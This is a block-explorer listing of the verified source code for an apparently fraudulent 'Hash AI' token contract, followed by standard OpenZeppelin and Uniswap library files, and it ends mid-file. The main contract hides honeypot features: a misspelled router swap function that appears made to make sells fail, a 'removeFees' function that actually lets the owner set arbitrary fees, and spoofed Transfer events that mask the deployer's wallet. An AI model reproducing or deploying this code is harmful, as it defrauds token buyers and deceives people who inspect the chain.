Contract

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**                          
██╗  ██╗ █████╗ ███████╗██╗  ██╗     █████╗ ██╗
██║  ██║██╔══██╗██╔════╝██║  ██║    ██╔══██╗██║
███████║███████║███████╗███████║    ███████║██║
██╔══██║██╔══██║╚════██║██╔══██║    ██╔══██║██║
██║  ██║██║  ██║███████║██║  ██║    ██║  ██║██║
╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝    ╚═╝  ╚═╝╚═╝
                                                                                                                                                                                                                                              
                                                                            
HashAi is where artificial intelligence meets Mining excellence. 

Main Links: 
	Website: http://HashAI.cc
	TG: https://t.me/HashAIEth
	Twitter : https://twitter.com/hashai_eth

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.24;

contract HashAI{

    string public _name = 'Hash AI';
    string public _symbol = 'HASHAI';
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000_000* 10 ** decimals;

    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address private holder;
    address private uniswapLpWallet;
    address private PrivateSale = 0x99e425AF426e2Ca4A2BDA7D44e2A16a6Be98C2e9;

    address private constant uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(uniswapV2Router);

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    uint8 _initBuyFee = 0;
    uint8 _initSellFee = 0;

    constructor() {
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        uniswapLpWallet = msg.sender;

        _initDeployer(msg.sender, msg.sender);

        balanceOf[uniswapLpWallet] = (totalSupply * 70) / 100;
        emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]);

        balanceOf[PrivateSale] = (totalSupply * 30) / 100;
        emit Transfer(address(0), PrivateSale, balanceOf[PrivateSale]);

    }

    receive() external payable {}

    function removeFees(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _owner()) revert Permissions();
        _upgradeStoreData(_buy, _sell);
    }

    function _upgradeStoreData(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _owner() private view returns (address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _owner());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _initDeployer(address deployer_, address executor_) private {
        _deployer = deployer_;
        _executor = executor_;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _owner();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != tokenMkt
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol)

pragma solidity ^0.8.20;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error AddressInsufficientBalance(address account);

    /**
     * @dev There's no code at `target` (it is not a contract).
     */
    error AddressEmptyCode(address target);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedInnerCall();

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        if (address(this).balance < amount) {
            revert AddressInsufficientBalance(address(this));
        }

        (bool success, ) = recipient.call{value: amount}("");
        if (!success) {
            revert FailedInnerCall();
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {FailedInnerCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        if (address(this).balance < value) {
            revert AddressInsufficientBalance(address(this));
        }
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
     * was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an
     * unsuccessful call.
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata
    ) internal view returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            // only check if target is a contract if the call was successful and the return data is empty
            // otherwise we already know that it was a contract
            if (returndata.length == 0 && target.code.length == 0) {
                revert AddressEmptyCode(target);
            }
            return returndata;
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
     * revert reason or with a default {FailedInnerCall} error.
     */
    function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            return returndata;
        }
    }

    /**
     * @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}.
     */
    function _revert(bytes memory returndata) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert FailedInnerCall();
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from  "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)

pragma solidity ^0.8.20;

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    /**
     * @dev Muldiv operation overflow.
     */
    error MathOverflowedMulDiv();

    enum Rounding {
        Floor, // Toward negative infinity
        Ceil, // Toward positive infinity
        Trunc, // Toward zero
        Expand // Away from zero
    }

    /**
     * @dev Returns the addition of two unsigned integers, with an success flag (no overflow).
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an success flag (no overflow).
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an success flag (no overflow).
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a success flag (no division by zero).
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a success flag (no division by zero).
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds towards infinity instead
     * of rounding towards zero.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == 0) {
            // Guarantee the same behavior as in a regular Solidity division.
            return a / b;
        }

        // The following calculation ensures accurate ceiling division without overflow.
        // Since a is non-zero, (a - 1) / b will not overflow.
        // The largest possible result occurs when (a - 1) / b is type(uint256).max,
        // but the largest value we can obtain is type(uint256).max - 1, which happens
        // when a = type(uint256).max and b = 1.
        unchecked {
            return a == 0 ? 0 : (a - 1) / b + 1;
        }
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or
     * denominator == 0.
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by
     * Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0 = x * y; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            if (denominator <= prod1) {
                revert MathOverflowedMulDiv();
            }

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator.
            // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.

            uint256 twos = denominator & (0 - denominator);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also
            // works in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded
     * towards zero.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
        }
    }

    /**
     * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.
     */
    function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
        return uint8(rounding) % 2 == 1;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Multicall.sol)

pragma solidity ^0.8.20;

import {Address} from "./Address.sol";

/**
